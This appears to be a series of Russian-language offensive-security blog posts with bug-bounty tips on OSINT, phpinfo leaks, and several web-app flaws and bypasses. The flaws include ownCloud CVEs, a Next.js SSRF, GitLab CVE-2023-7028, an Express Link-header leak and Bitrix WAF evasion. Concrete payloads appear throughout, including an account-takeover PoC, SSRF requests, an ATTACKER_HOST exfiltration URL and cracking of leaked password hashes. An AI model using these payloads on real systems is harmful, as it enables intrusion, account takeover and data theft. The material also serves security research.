Кавычка

Многие юзают инфу о выданных сертификатах, чтобы узнать поддомены компании, например в crt.sh Но не только лишь все знают, как узнать другие домены одного владельца в ru зоне. Раньше для этого юзал 1stat.ru, но он уже больше как архив, а сейчас использую backorder.ru Эт такой сервис для киберсквоттеров, который позволяет наблюдать за истекшими доменами и их перехватить. Ну и помимо этой функции, доступен расширенный поиск. Короч, вбиваешь условный vk.ru, тыкаешь в значение поля Org, нажимаешь "Все домены". #Osint >

Что опасного в публичном отображении phpinfo? Сдаешь такой в багбаунти, а тебе говорят, ну где импакт, CVSS 2.6? А ты такой, ну смотри какой импакт: - Дает узнать о конфигурации PHP, в том числе о версии, установленных модулях, путях к файлам и т.д. Что поможет эксплуатировать другие уязвимости. - Раскрывается информация о реальном расположении серверов (если они скрыты за anti-DDOS или CDN) - Отдельно стоит отметить, что в эпоху этих ваших docker-compose, иногда в нем раскрывается чувствительная информация в переменных окружения (рили видел креды от базы в ENV) - Помогает эксплуатировать всякие LFI 2 RCE - Секция с Cookie раскрывает ВСЕ ПЕЧЕНЬЯ, поэтому позволит украсть их, даже если они HTTPOnly Я что-то забыл? >

#owncloud Для owncloud была классная CVE-2023-49105 Сплоет реализован в качестве прокси, которая подписывает запросы и можно через нее ходить на dav://, используя клиент Filezilla, Cyberduck, короч кто-что юзает. Сначала ставим ten, запускаем проксю, но не наслаждаемся. Потому что из коробки сплоет у меня не завелся, клиенты, видимо, не могут корректно распарсить ответ. А я просто вывел ответ от прокси через print(response.text), и собрал список файлов. Сами файлы можно получать уже через curl/wget/браузер, так как для скачивания файлов достаточно GET запроса. Типа wget localhost:8800/remote.php/dav/files/admin/Report.7z Быстро чекнуть уязвимый ли owncloud можно через другую CVE-2023-49103: /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/webpwn.css Если открылся phpinfo() - то, скорее всего, систему не обновляли, а эти CVE'шки вышли рядом. >

#OSINT #SSH Вспомнил тут про старый трюк, можно тестануть: ssh whoami.filippo.io Короч, когда ты подключаешься по ssh, твой ssh-agent перебирает всеми ключами, которые у тебя в него подключены. Это может привести к прикольной деанонимизации, если на стороне сервера включено логирование ssh ключей, которыми пытались подключиться. Ключики можно собирать как на гитхабе: https://github.com/Oleg.keys Так и на гитлабе: https://gitlab.com/Nikita.keys Всякие энтузиасты собирают собственные базы забавы ради, думаю есть и те, которые делают это для расследований инцидентов после компрометации и вот этого всего. [1], [2], [3] >

В дискуссии спросили, ну чего опасного в том, что есть XSS на поддомене без юзеров. Допустим, есть у нас site.kek, а ты нашел уязвимость на subdomain.site.kek Что может дать XSS на поддомене, где обычный одностраничный лэндинг, нет никаких данных пользователя? Штош, импакт такой: - Не только лишь все знают, что поддомен может ставить куки, в том числе на главный сайт (а точнее на весь скоуп, включая другие поддомены), а это может помочь при эксплуатировании других атак, например фиксацию сессии. Или вспомнить про отказ в обслуживании aka cookie bomb - CORS на других сайтах компании, в том числе сам site.kek может принимать Origin: subdomain.site.kek, а это значит можно выполнять действия от лица пользователя. - В дополнение к предыдущему - обходится механизм SameSite - Старый добрый фишинг, если нет дизайна для регистрации или входа - ее можно нарисовать. Может что-то еще? >

#firebase Короч. Встречали firebase на страницах? Обычно это подключение js-ника и конфиг вида

firebase.initializeApp({
  apiKey: "VHkgcGlkb3IpMDAwKSkpKSkpKSk=",
  authDomain: "blablabla"
  ...
});

Иногда это используется для заявок, фидбэков и вот этого всего. И если его неправильно готовят, то на нем можно зарегистрироваться через signupNewUser (тыц) и получить доступ к данным, которые собирали сотрудники (в моем случае это было через Firestore). Только как имя базы узнать я не знаю, в моем случае оно тоже светилось в файлах фронта, но может в комментах подскажут. Еще надо попробовать pyfireconnect и python-firebase Slavik поресерчил эту тему и сделал скрипт, который проверяет что доступно по данным Firebase. Если есть api_key и project_id, то уже можно тыкаться по Realtime Database, Firestore, Storage. >

#OpenAPI #Swagger Короч, в extentions для burp suite есть OpenAPI Parser, это штука, которая позволяет брать всякие swagger.json, превращать их в запросы, сканить и вот это все. Какая с ним проблема. Он не умеет работать с третьей спекой. Валится и все тут. Выход - сконвертировать в OAS 2.0 У меня был огромный swagger и классический editor.swagger.io не смог его прожувать и вкладка зависала. Но есть замечательный API Spec Converter, суем в него спеку 3 версии, конвертим в 2, загружаем в burp. Единственное, в json надо добавить

  "host": "api.someshit.io",
  "basePath": "/",
  "schemes": [
    "https",
    "http"
  ],

после info в файле, и спарсится все отлично. >

ы

Доступ в двойную кавычку Подключи подписку - и получи доступ к контенту раньше, чем будет его публикация, к щепотке уникального контента и чату без цензуры. Твой вклад помогает развивать этот канал и делать его лучше 💣

Есть такая штука nextjs, несколько месяцев назад они добавили новую "фишку" распределение нагрузки - под капотом поднимается несколько микросервисов. Каждый из которых занимается своей частью обработки запроса. Работает все примерно так-же как и обычный прокси сервер, запрос приходит, обрабатывается, и через стороннюю библиотеку проксируется на другой порт. Собственно именно это место нас и интересует. В HTTP есть такой метод PRI (используются, если мне не изменяет память, чтобы проверить возможность HTTP/2 подключения). Нас интересует что запросы этого метода имеют cимвол * в пути, вместо привычного /.

PRI * HTTP/1.1.

Далее, все http-парcеры работают по разному, у nodejs он немного особенный, и url вида http://example.com:3456*@127.0.0.1:8080 будет разобран как: hostname: 127.0.0.1, port: 8080, auth: example.com:3456*, А самое важное тут то, что http-парсер nodejs считает валидными запросы вида:

GET *@127.0.0.1/ HTTP/1.1
Host: somehost

А знаете кто еще так делает - haproxy! Ну и последнее: код который формирует url для проксирования внутрь nextjs выглядит так:

const targetUrl = `http://${
  targetHost === 'localhost' ? '127.0.0.1' : targetHost
}:${routerPort}${pathname}`

Собственно, т.к. мы контролируем pathname - мы можем отправить запрос вида:

GET *@127.0.0.1:11211 HTTP/1.1
Host: some

и запрос уйдет напрямую в memcached, получаем SSRF. Но что более важное - это SSRF с возможностью чтения ответа: если внутри, в инфре, есть приватная веб-морда, мы можем спокойно обращаться к ней, как будь то бы она торчит наружу. Уязвимые версии: >= 13.3.0 | <=13.4.12 фича проксирования включена по умолчанию, она так же включается если установлен флаг appDir: true в конфигурации experimental. Из интересного: vercel отказал в CVE, так как не считает что это уязвимость (на момент репорта уязвимость воспроизводилась в последних версиях). Однако с версии 13.4.13 изменили код. Теперь в части внутренних запросов используется fetch. Что дает некоторую защиту, т.к. fetch не принимает запросы содержащие авторизацию. >

Быстро и дешево брутим хэши Короч, есть чуваки такие, immers.cloud По сути это хостинг с арендой видеокарт. А так как я занимался проектом passleak.ru, иногда нужно было разгадывать хэшики, решил не покупать под это оборудование. Вышло круто. Тут есть два варианта развития событий. Арендуем видеокарту (какую - по желанию, они там выкатили какие-то ультра-модные H100, но мне и 2080 часто хватает), грузим туда наши хэши, делаем что-то типа: sudo apt-get update sudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -y https://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.run chmod +x NVIDIA-Linux-x86_64-470.63.01.run sudo ./NVIDIA-Linux-x86_64-470.63.01.run Устанавливаем hashcat и играемся с этим всем. Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину. Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20? В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик. >

Роскомнадзор будет блокировать сайты с информацией об обходе блокировок А пока не блокирует - просили рассказать)) Короч, сижу в инсте. Бесило, что нужно постоянно подрубать vpn, когда нужно зайти в инсту. И отрубать, когда заходишь в банк, доставку еды и прочие госуслуги. Берем московскую виртуалку (юзаю selectel), ставим на неё zapret - это аналог GoodbyeDPI под linux. Ну там нужно сначала запустить install, потом сделать чек через blockcheck.sh, лично я тестил на instagram.com. После чего поставить обход блокировки, который подходит для текущего провайдера. Сверху поставил изичный wireguard Качаешь прилку wireguard, цепляешься к своему серверу, наслаждаешься. Что имеем: * защищенное (over TLS) соединение - можно юзать публичные wifi с минимизацией риска MITM * рос-четтам-надзор не блокирует wireguard соединения в рамках РФ * открываются всякие фэйсбуки инстаграмы * открываются банки и госуслуги >

#gitlab Забавная логическая уязвимость в Gitlab - CVE-2023-7028 Можно переопределить почту в механизме восстановления пароля, передав специально сформированный запрос, в котором в нулевом элементе массива будет валидный email, а в следующем - злоумышленника. PoC: user[email][]=valid@email.com&user[email][]=attacker@email.com Для проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log записей со значением PasswordsController#create в meta.caller.id и указанием массива из нескольких адресов в блоке target_details. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации. >

Интересный вектор Client-Side атаки Многие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки. Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже. Потому что links внутри express написана так:

res.links = function(links){
  var link = this.get('Link') || '';
  if (link) link += ', ';
  return this.set('Link', link + Object.keys(links).map(function(rel){
    return '<' + links[rel] + '>; rel="' + rel + '"';
  }).join(', '));
};

Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответы Следовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'ов Пример с реального уязвимого сайта выглядит как-то так: https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload", Так что полный чейн выглядит так: 1. Направляем пользователя на наш сайт 2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс 3. По отстукам на хост понимаем результаты поиска на странице пользователя Разработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро) (Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер ) >

Короч, Apache Dubbo — это такая штука, которая часто используется для хайлоада, рядом. Разработчики говорят, что умеет помимо RPC еще и в WEB, поэтому давайте на нем делать микросервисы, но я особо их не видел (может не популярный в СНГ). А еще на минуточку, это один из самых популярных проектов на github (~40k звезд на момент написания). Порт 28080, полезен сам по себе, так как через него можно посмотреть все классы и методы, и часто даёт RCE. Например из последнего CVE-2023-23638, или чуть старее. >

#bitrix #php В PHP точки, пробелы и "[" в именах запросов автоматически переименовываются в нижнее подчеркивание. А "+" в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF. Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр: /pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/ если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами: /pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/ /pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/ /pewpew/?SEF.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/ PoC >

Метод TRACE Помимо GET, POST, etc - есть еще и метод трассировки TRACE. Если пользуетесь burp'ом, он вам его подсветит, так как бага старше большиства багхантеров. Что дает? Дает посмотреть весь HTTP запрос на сервере, в котором могут быть и секретные секреты, как например ключи пользователя или какие-то уникальные uuid для интеграции, x-forwarded-for и прочие служебные заголовки. Но не всегда. Но не так давно прочитал забавности, что метод можно переопределить через GET /path.html?_method=TRACE HTTP/1.1 или заголовок _method: TRACE >